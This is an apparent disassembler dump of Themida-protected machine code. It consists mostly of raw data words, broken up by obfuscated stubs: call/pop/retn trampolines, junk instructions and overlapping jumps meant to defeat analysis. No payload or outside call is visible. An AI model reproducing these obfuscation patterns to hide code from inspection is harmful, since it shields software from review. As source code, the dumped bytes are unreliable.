7FE0C350h, 0BD8B2213h dd 6142991h, 0AE9h, 39939600h, 9065B101h, 8B0C3426h, 50006AC3h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 4E8C13Ah, 14E9h, 0D4DA7600h, 98AC3406h, 0E40B160Bh dd 0C35D777Fh, 303C2F7Ch, 0E2F76610h, 10E9h, 0A68D4E00h dd 0B7BCC31Dh, 0ECE253F8h, 49579691h, 8BD82B9Bh, 140C9DBDh dd 10E85006h, 0B1000000h, 656A048Fh, 68A3159Bh, 986B6737h dd 0E8E4FD80h, 0Ah, 7693E59Bh, 57F4226h, 8B66C5F9h, 895E5EF3h dd 6A241Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 82940FC3h, 0BD8BAFFCh, 6142661h, 0BE9h, 1FDDD800h dd 0FF63A16Dh, 48A3B54Dh, 1AA5B5FFh, 81660614h, 0FF80EFD6h dd 14116995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 4464540Ah, 1A92D0C0h, 0FB8B6062h dd 7E9h, 96B8C500h, 1726C598h, 85B58B61h, 0B0061403h, 0E5BD8B00h dd 0E6061404h, 81BD8B70h, 0E406142Ch, 2DBD8971h, 3C06140Bh dd 25830F61h, 0F000002h, 0B60FFFB7h, 89B589D8h, 8B06142Fh dd 14106DB5h, 6BA06h, 85890000h, 61409B9h, 6AC38Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 9D01FDC3h, 6141129h, 6604E8C1h, 0F766F08Bh, 53006AE2h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 401AE8A7h, 4530B784h, 6585899Ch, 2B061404h, 51006AD8h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 60E99C91h, 0A99D89E8h, 58061414h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 67C35343h, 2F85F280h, 431BD29h dd 0D82B0614h, 15A880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0F604EC3h, 384h, 97DD8000h dd 0B9615850h, 7, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0DFC35343h, 0FAAAD4Fh, 480h, 56BE6600h, 0C18353h dd 1C458589h, 81660614h, 3B180DD6h, 0ED860FD9h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 463BC350h, 0F7D17448h, 8C660C5Ch, 56006AD9h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 14D7810Fh, 0BE24581Bh, 3CA845FCh, 0F04C1F6h, 8C84h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 96BF0EF2h, 0CA02D8A5h, 0CE9h, 0A9A81400h dd 1EA16E23h, 0F891F696h, 0FFFB8B9Dh, 142E4595h, 0B52B5B06h dd 6140611h, 2A858589h, 0C32B0614h, 343DF18Bh, 0F000008h dd 3486h, 0DE900h, 62E50000h, 0BC4F88EFh, 0B7924703h, 0E97AB77Eh dd 28h, 0DE8h, 795E3500h, 3AE6EBBFh, 0F3355722h, 8B0FEDABh dd 0 ; --------------------------------------------------------------------------- pop edi push ebx mov esi, edi pop esi mov eax, eax movsx esi, bx mov [ebp+614230Dh], esi loc_585CD0: ; CODE XREF: Themida_:005858C0j mov eax, ebx mov ebx, eax mov [ebp+614321Dh], eax mov dword ptr [ebp+6140231h], 191D6D37h mov eax, eax jnp loc_585CF3 pusha pusha popa add bl, 7Bh popa loc_585CF3: ; CODE XREF: Themida_:00585CE6j cmp dword ptr [ebp+6141AA5h], 7D0h jnz loc_585D12 mov di, 89E9h inc dword ptr [ebp+6141AA5h] loc_585D0D: ; CODE XREF: Themida_:loc_585D29j mov esi, 1E7770DFh loc_585D12: ; CODE XREF: Themida_:00585CFDj push dword ptr [ebp+6141AA5h] call sub_585D2D in eax, 93h jbe short near ptr loc_585D45+2 inc edx jg short loc_585D29 stc ; --------------------------------------------------------------------------- db 0C5h, 0CDh, 44h ; --------------------------------------------------------------------------- dec ebx loc_585D29: ; CODE XREF: Themida_:00585D22j jmp short loc_585D0D ; --------------------------------------------------------------------------- aam 2Eh ; =============== S U B R O U T I N E ======================================= sub_585D2D proc near ; CODE XREF: Themida_:00585D18p ; FUNCTION CHUNK AT 00585E1D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00586494 SIZE 00000007 BYTES push edx mov [ebp+6140475h], ecx pop edi pop esi call dword ptr [ebp+6141169h] js loc_585D45 mov di, ax loc_585D45: ; CODE XREF: sub_585D2D+Fj ; Themida_:00585D1Fj add esi, [ebp+6141CCDh] nop inc eax mov esi, [ebp+6140C09h] cmp dword ptr [ebp+6141CD1h], 0 jz loc_585E1D mov edi, 6EE0BB6Dh cmp dword ptr [ebp+61403D9h], 0 jz loc_585E1D push 0 push ecx call sub_585D7D and [ecx-3Dh], bl sub_585D2D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_585D7D proc near ; CODE XREF: sub_585D2D+48p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_585D7D endp ; --------------------------------------------------------------------------- fild dword ptr [esi+esi*4] clc dec eax mov byte ptr [esi], 0D8h cmc mov edi, [ebp+614090Dh] call dword ptr [ebp+6141CD1h] push 0 push ebx call sub_585DAD and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585DAD proc near ; CODE XREF: Themida_:00585DA5p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_585DAD endp ; --------------------------------------------------------------------------- db 67h, 6Dh, 0F9h ; --------------------------------------------------------------------------- or eax, eax jz loc_585E1D jnb loc_585DD4 xor [ebp+6141021h], edx loc_585DD4: ; CODE XREF: Themida_:00585DC8j lea ecx, [ebp+6144D79h] push 0 push ecx call sub_585DE5 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585DE5 proc near ; CODE XREF: Themida_:00585DDDp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_585DE5 endp ; --------------------------------------------------------------------------- mov byte ptr [ebx], 0B4h and al, [ecx-13h] aam 3 add [ebp+6141B31h], ebx mov eax, 5 jmp ecx ; --------------------------------------------------------------------------- jmp loc_585E1D ; --------------------------------------------------------------------------- db 4Dh dd 49C0930Fh, 56BE2F6Eh, 16EBCF6Fh db 2Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585D2D loc_585E1D: ; CODE XREF: sub_585D2D+2Dj ; sub_585D2D+3Fj ... cmp dword ptr [ebp+6140E4Dh], 0 jz loc_586494 push 0 push eax call sub_585E35 and [eax-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_585D2D ; =============== S U B R O U T I N E ======================================= sub_585E35 proc near ; CODE XREF: sub_585D2D+100p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_585E35 endp ; --------------------------------------------------------------------------- db 13h, 0Fh, 84h dd 6, 1D71BD8Bh, 0BE660614h, 0BD834CE1h, 61403D9h, 31840F00h dd 6A000006h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0C5FCC351h, 218D8DD2h, 6A061411h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 3F3EC357h, 4720BF88h, 66609F69h, 23CBEF81h dd 6145F080h, 7C8401C7h, 6A44B2h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 71501EC3h, 85FC603Dh dd 8B53CAC9h, 0CB0181FEh, 6A1499CFh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0DF0EC353h dd 7587AD1Ah, 0F5BD890Ch, 0C706140Ch, 6B340441h, 6ACE70h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0EE44DAC3h, 10044181h, 8931D6D7h, 141BE185h, 6A006A06h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0A530C356h, 9FB70972h, 0BF6635D4h, 858DECE0h dd 6141121h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 59C35747h, 5502A500h, 539060EDh, 6A90505Fh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 576CC355h, 0E82DB54Fh, 7, 423107F7h, 53863550h, 21B18589h dd 5F5F0614h, 0BDA5EF81h, 95FF1E8Dh, 6140E4Dh, 11218D8Dh dd 8B660614h, 75B58BF1h, 0C7061409h, 1, 35BD0B00h, 0C7061434h dd 441h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 23B902C3h, 0AE8FEh, 0F28B0000h dd 99EF79AEh, 449EC102h, 2810Fh, 61600000h, 0FC00B5Eh dd 8084h, 0D9B50900h, 8D061410h, 144D798Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 2F7CC35Dh, 0BD8B303Ch, 61421C5h, 5B8h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0BA1AFAE8h, 0E837D3DCh, 0BF0F8CCAh, 6AE1FFFEh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 8464C356h, 218D8D5Bh, 6A061411h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0DC79C356h dd 896A0058h, 0AC3E32A9h, 5EEEC681h, 1C71CB5h, 44AA727Ch dd 0E8F3BF0Fh, 0Fh, 0D9B8CE4Fh, 673A6DEEh, 2B2601F4h, 0FE1AF40h dd 58Ch, 0CF816600h, 815EB8B3h, 99CFCB01h, 0A9958914h dd 0C7061406h, 753C0441h, 0DE8CE78h, 0E0000000h, 7DFE5F70h dd 7CFA9270h, 0E7769234h, 441815Fh, 31D6D710h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 74C35040h, 0C6F35A0Ch dd 9EC61E7h, 142B4D9Dh, 66006A06h, 35D7F681h, 0B018589h dd 858D0614h, 6141121h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0F1C35545h, 0EB38C293h, 0F8BF0F60h, 0DC5E35BEh dd 23BE6153h, 900EEABCh, 6650F38Bh, 906BA6BEh, 13CD8D29h dd 66600614h, 51C83DB8h, 19FD8D8Bh, 615F0614h, 0E4D95FFh dd 8D8D0614h, 6141121h, 9E8h, 0EC987700h, 28E3C667h, 0B52BA71Ch dd 6142F75h, 830F605Eh, 6, 2E799D8Bh, 13E80614h, 0CF000000h dd 0F9D04D30h, 4813CDDAh, 69D12E9Bh, 253EDDB1h, 9D8BDE8Eh dd 61413E1h, 1C7615Eh, 0 ; --------------------------------------------------------------------------- or di, 974Fh mov esi, 3AD6556Ch mov dword ptr [ecx+4], 0 or eax, eax jz loc_586292 mov edi, [ebp+614038Dh] lea ecx, [ebp+6144D79h] add [ebp+6140B09h], edi mov eax, 5 push 0 push ebx call sub_586257 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586257 proc near ; CODE XREF: Themida_:0058624Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_586257 endp ; --------------------------------------------------------------------------- sbb al, 0ACh mov esi, [ebp+6140849h] jmp ecx ; --------------------------------------------------------------------------- push 0 push edi call sub_58627C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58627C proc near ; CODE XREF: Themida_:00586274p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_58627C endp ; --------------------------------------------------------------------------- mov word ptr [ecx-2B4F409Ah], fs loc_586292: ; CODE XREF: Themida_:0058622Fj lea ecx, [ebp+6141121h] movzx esi, si mov dword ptr [ecx], 54CA95A5h push 0 push ecx call sub_5862AC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5862AC proc near ; CODE XREF: Themida_:005862A4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5862AC endp ; --------------------------------------------------------------------------- push 10h and si, 0DF9Fh add dword ptr [ecx], 1499CFCBh push 0 push edx call sub_5862D4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5862D4 proc near ; CODE XREF: Themida_:005862CCp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5862D4 endp ; --------------------------------------------------------------------------- popa mov dword ptr [ecx+4], 0CE5F5969h push 0 push ecx call sub_5862F7 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5862F7 proc near ; CODE XREF: Themida_:005862EFp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5862F7 endp ; --------------------------------------------------------------------------- db 0D6h dd 5C2231E7h, 81FAE249h, 0D7100441h, 8B6031D6h, 14053585h dd 0D1BD8906h, 61061403h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 786D54C3h, 0B5A3D097h dd 858DF819h, 6141121h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0A5C35545h, 3850F01h, 66000000h, 5090F08Bh dd 0CE8h, 9A7F9100h, 0FEAA87FCh, 0F7C78002h, 0F18B6602h dd 6A905Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0CB43B9C3h, 896FC0C9h, 6820Fh, 0BD8B0000h dd 6141BE9h, 0E4D95FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 9DE983C3h, 0E994420Dh dd 10h, 835E7F35h, 6ADED69Eh, 0B0D89347h, 0A4CE838Eh, 11218D8Dh dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0BE51C3h, 1C750h, 0B000000h, 1434E1BDh, 0E9FC6006h dd 9, 0D56E0F52h, 7480D972h, 41C761E9h, 4, 0CDB58900h dd 0B06141Fh, 45840FC0h, 66000000h, 0BBC4E681h, 4D798D8Dh dd 0D6810614h, 3B234F4Eh, 0D3C78166h, 5B85Dh, 0B70F0000h dd 6AE1FFFAh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0FB81C350h, 95895B2Ah, 6141161h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585D2D loc_586494: ; CODE XREF: sub_585D2D+F7j add ecx, edx jmp near ptr dword_58536C+33Ch ; END OF FUNCTION CHUNK FOR sub_585D2D ; --------------------------------------------------------------------------- push 0 push ebx call sub_5864A6 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5864A6 proc near ; CODE XREF: Themida_:0058649Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5864A6 endp ; --------------------------------------------------------------------------- dw 0D36Eh ; --------------------------------------------------------------------------- mov [ebp+6140291h], edx mov eax, ecx mov si, 3C8Dh jmp short loc_5864CA ; --------------------------------------------------------------------------- align 4 db 2 dup(0) ; --------------------------------------------------------------------------- loc_5864CA: ; CODE XREF: Themida_:005864C4j jmp loc_5864D7 ; --------------------------------------------------------------------------- db 8Ah dd 346D98EEh db 0CDh, 3Dh, 24h ; --------------------------------------------------------------------------- loc_5864D7: ; CODE XREF: Themida_:loc_5864CAj push 0 push ebx call sub_5864E2 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5864E2 proc near ; CODE XREF: Themida_:005864DAp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5864E2 endp ; --------------------------------------------------------------------------- dw 0B3h dd 0BD07737Fh, 8D0FC778h, 11h, 0CE9h, 0B6135300h, 0C001864Dh dd 392105F7h, 99858D97h, 6A06140Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 57E0C351h dd 5C5B1563h, 2BD19589h, 0B58B0614h, 6141131h, 8E20BF66h dd 8E990h, 0AB340000h, 11A0B9Ch, 9050510Ch, 6AF78B66h dd 0D19D8900h, 6A061416h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 24311123h dd 8DD3876Bh, 17DA9A85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0F2A002DEh, 89A344E5h dd 5C08390h, 4DBE6690h, 5E950A2h, 0BE000000h, 0FA68F091h dd 0B1B58990h, 6A061414h, 6A006A00h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 202CC356h dd 23C01AAh, 0F59D6146h, 8E8h, 77A7BB00h, 58196715h, 4BEF8197h dd 5E0AB3F2h, 1A7195FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 660C85C3h, 8D2540BEh dd 17A8FC9Dh, 0B59D8906h, 0FF06141Fh, 53006AD3h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 58E6E93Ah, 236D85FFh, 12E90614h, 0A2000000h, 756E6F8Fh dd 7426501Dh, 0FCED3927h, 38CD7180h, 85EE99Ch, 0E80000h dd 5D000000h, 0DAA4ED81h, 6A0617h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 4E1C01C3h, 0FF59CD98h dd 1A95B58Bh, 0BD810614h, 6141AA5h, 7D0h, 11E860Fh, 8B660000h dd 25BD89F0h, 8B06140Eh, 1405319Dh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 4787CF3Bh dd 0DA006866h, 0E3813Eh, 8B000001h, 143431BDh, 0B98D0106h dd 0B06142Fh, 0AC850FDBh, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0CE52C352h dd 0A59968E5h, 625DE451h, 344DB58Bh, 0BD830614h, 617D8E7h dd 17840F00h, 89000000h, 1423D19Dh, 76E906h, 8A0F0000h dd 6, 23019529h, 85C70614h, 617D8E7h, 1, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 18h, 0C1C35646h, 240A965Ah dd 251DB58Bh, 8B660614h, 32E9F2h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 23B902C3h dd 97E681FEh, 0C759C0C6h, 17D8E785h, 6, 0F98B6600h, 5319D8Dh dd 880F0614h, 0 ; --------------------------------------------------------------------------- and dword ptr [ebx], 0FFFFFEFFh and esi, [ebp+61418C1h] mov bx, ds push 0 push eax call sub_5867EE and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5867EE proc near ; CODE XREF: Themida_:005867E6p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5867EE endp ; --------------------------------------------------------------------------- dw 3F63h dd 8B668907h, 4C3F6F3h, 3B840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0FFD0A3C3h dd 8BB5A850h, 140689BDh, 4595FF06h, 6606142Eh, 0FEDEEF81h dd 0B905090h, 142465B5h, 49FE906h, 0B58B0000h, 6141C69h dd 6A00B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 806051C3h, 0A50460F5h, 21E781DEh, 8B40FD18h dd 6A70E6F0h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0CA82C351h, 0D1E6E05Eh, 399589D1h dd 0E4061425h, 19858971h, 0F06140Ah, 0DE9D8B6h, 4D000000h dd 0B590EA08h, 52F46208h, 9D6D63AFh, 6BAh, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8BFC4344h, 141671B5h, 6AC38B06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 22E6C355h dd 74FD94Bh, 9B7AB819h, 0CE9h, 0D7179C00h, 0C9AE829Eh dd 9B5CB4ADh, 4E8C1C2h, 66F9B70Fh, 860FE2F7h, 5, 0C8AE90BFh dd 6AD82B75h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0E1EFC357h, 14918589h, 0B58B0614h dd 6142C5Dh, 241C8950h, 0FEDF47BFh, 9DB58B49h, 0FF061420h dd 141AA5B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0DE6FBFDDh, 91952901h, 0E9061411h dd 12h, 1E559D01h, 26D4BA62h, 6ECBE2C0h, 0B64BC119h, 95FFE195h dd 6141169h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 39C35242h, 0D9374A93h, 2919D413h, 142211B5h, 900B006h dd 1423058Dh, 8B70E606h, 8B71E4F8h, 141149B5h, 0F613C06h dd 2E883h, 10E800h db 0 byte_586A09 db 0, 52h, 9Ch ; DATA XREF: Themida_:0054AFCCo dd 0BC9634E0h, 9D67C918h, 0F44D8CEBh, 0BD8BD5D7h, 6140EF9h dd 6E85Eh, 0BA550000h, 0F3213FEDh, 0D8B60F5Eh, 13E9h, 2E251E00h dd 6E188B7Bh, 0C30D0488h, 69D3AE2Ch, 0E9EF4973h, 6BAh dd 0BE800h, 53E80000h, 37195C12h, 705119DEh, 0CE816666h dd 8B5F884Bh, 998FBFC3h, 0E8C128F5h, 0A1B58B04h, 6606141Dh dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 962ADCC3h, 0F11AE1Ah, 687h, 8D8D8900h, 2B06140Dh dd 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 522CC7CFh, 8531F3D7h, 61418F9h, 52006A58h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 9410ACECh, 0EE9h, 35354900h, 0E326C949h, 9AA01AC8h dd 0BE0231C7h, 74D6859Eh, 880FD82Bh, 1E1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 35C35343h, 2D929501h dd 0BEBD299Dh, 77748762h, 7B9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 89B58B73h dd 83061422h, 0BD0300C1h, 6142E81h, 860FD93Bh, 181h, 8BD98C66h dd 1402DDBDh, 0ADB58B06h, 0F6061419h, 840F04C1h, 129h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 48C35646h dd 7202708Dh, 0C68166D0h, 0BD89B271h, 6142351h, 2E4595FFh dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 60447AC3h, 6810Fh, 840F0000h, 0 ; --------------------------------------------------------------------------- and edi, [ebp+614093Dh] popa pop ebx push 0 push ebp call sub_586BF3 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586BF3 proc near ; CODE XREF: Themida_:00586BEBp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_586BF3 endp ; --------------------------------------------------------------------------- xchg eax, ebp and bl, [eax] jg short loc_586C31 popf jno short loc_586C11 adc al, 6 sub eax, ebx push 0 loc_586C11: ; CODE XREF: Themida_:00586C09j push esi call sub_586C1A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586C1A proc near ; CODE XREF: Themida_:00586C12p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_586C1A endp ; --------------------------------------------------------------------------- dw 4BD5h dd 0A2421BFAh db 0DEh ; --------------------------------------------------------------------------- loc_586C31: ; CODE XREF: Themida_:00586C06j sahf dec ebx push ebp or [ebp+61414EDh], ebx or si, 4A32h cmp eax, 834h jbe loc_586CAD push 0 push eax call sub_586C55 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586C55 proc near ; CODE XREF: Themida_:00586C4Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_586C55 endp ; --------------------------------------------------------------------------- add [edi+59h], ebx mov ecx, 204D80C8h lds edi, [esi-77h] mov ebp, 61418C5h jmp loc_586CED ; --------------------------------------------------------------------------- push 0 push ecx call sub_586C85 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586C85 proc near ; CODE XREF: Themida_:00586C7Dp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_586C85 endp ; --------------------------------------------------------------------------- db 0Fh, 91h, 0B7h dd 0F158DB7h, 0C84h, 7E900h, 3B510000h, 0BC50F30Ch db 0B2h ; --------------------------------------------------------------------------- loc_586CAD: ; CODE XREF: Themida_:00586C44j mov eax, eax push 0 push edx call sub_586CBA and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586CBA proc near ; CODE XREF: Themida_:00586CB2p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_586CBA endp ; --------------------------------------------------------------------------- dw 0CC81h dd 9D41320Ah, 0E9127515h, 0Ah, 0EB63AD3Eh, 0A36B7DAh, 860FC8C4h dd 5, 0BCD68166h db 15h ; --------------------------------------------------------------------------- loc_586CED: ; CODE XREF: Themida_:00586C75j mov eax, ebx mov ebx, eax add esi, [ebp+6140C35h] mov dword ptr [ebp+6141B75h], 3A7EE5BBh jmp loc_586D0F ; --------------------------------------------------------------------------- dw 0CA86h dd 0CF8E44FAh db 90h db 0E0h, 98h ; --------------------------------------------------------------------------- loc_586D0F: ; CODE XREF: Themida_:00586D01j mov eax, eax push 0 push esi call sub_586D1C and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586D1C proc near ; CODE XREF: Themida_:00586D14p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_586D1C endp ; --------------------------------------------------------------------------- and al, cl mov esi, 8579FF0h jmp loc_586D4C ; --------------------------------------------------------------------------- dd 86FD9ABh, 6F4ADB3Ch, 9F3EF773h, 0FF2529D5h, 0F755AC9Fh ; --------------------------------------------------------------------------- loc_586D4C: ; CODE XREF: Themida_:00586D33j cmp dword ptr [ebp+6141AA5h], 7D0h jnz loc_586D6A movzx esi, si inc dword ptr [ebp+6141AA5h] mov edi, 55A76E32h loc_586D6A: ; CODE XREF: Themida_:00586D56j push dword ptr [ebp+6141AA5h] call dword ptr [ebp+6141169h] push 0 push edx call sub_586D81 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586D81 proc near ; CODE XREF: Themida_:00586D79p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_586D81 endp ; --------------------------------------------------------------------------- db 0F6h, 84h, 9Dh dd 6D96B73Ah, 667FE8B2h, 90F696BFh, 14E8h, 0BC494E00h dd 0CA84F5h, 521DAFECh, 5A99179Eh, 12AF5BBEh, 8ABF6620h dd 5E81Eh, 996A0000h, 29CB5E37h, 141CFDBDh, 8B5E5E06h dd 52006AFEh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 1DBD33AFh, 8B061420h, 143501BDh, 5D952906h dd 0F061422h, 3581h, 0FE800h, 40880000h, 0E7641522h, 8F4A7B3Fh dd 93CF8787h, 6E980h, 9C0E0000h, 17E9ADDCh, 10E9h, 89B81E00h dd 9228A9EFh, 0EC3681C2h, 8A147985h, 0E6815E19h, 0D811100h dd 47C08160h, 5366695Ah, 820Fh, 61600000h, 0F18B615Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C1C35747h dd 0DF3750B4h, 3029C6CDh, 0BD33F78Bh, 6140D4Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 73C35545h, 0E9CA4233h dd 0Ah, 0BE9DA013h, 0F5790434h, 0EE8029Fh, 3B000000h, 733714A4h dd 6051E9DFh, 460F580h, 8D8951A5h, 614217Dh, 9D89565Eh dd 6143455h, 0A7E95E5Eh, 0BFFFFFF7h, 75B450F6h, 6AC18Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0DEEB37C3h, 4EBh, 8E0F0000h, 6, 830Fh, 95890000h, 6142D65h dd 0A0A9BE52h, 8D5E0960h, 140F9985h, 52F28B06h, 0B1A0BE66h dd 0E960905Eh, 14h, 4A7DA828h, 0F7F3C1F1h, 3244EEBEh, 8B181ECBh dd 30907F67h, 28C0Fh, 61600000h, 33905061h, 141A5DBDh dd 60006A06h, 25C58529h, 